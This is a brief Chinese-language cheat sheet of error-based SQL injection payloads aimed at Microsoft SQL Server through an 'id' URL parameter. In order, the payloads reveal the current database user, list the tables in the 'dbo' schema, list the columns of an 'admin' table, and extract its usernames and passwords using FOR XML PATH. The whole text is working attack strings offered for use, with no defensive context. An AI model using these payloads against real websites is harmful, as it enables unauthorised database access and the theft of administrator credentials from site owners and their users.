查询当前用户?id=1 and user_name()>1根据当前用户爆出所有表?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’dbo’ FOR XML PATH)>1爆出所有的列id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’admin’ FOR XMLPATH)>1爆出数据id=1 and (select username,password from admin FOR XML PATH)>1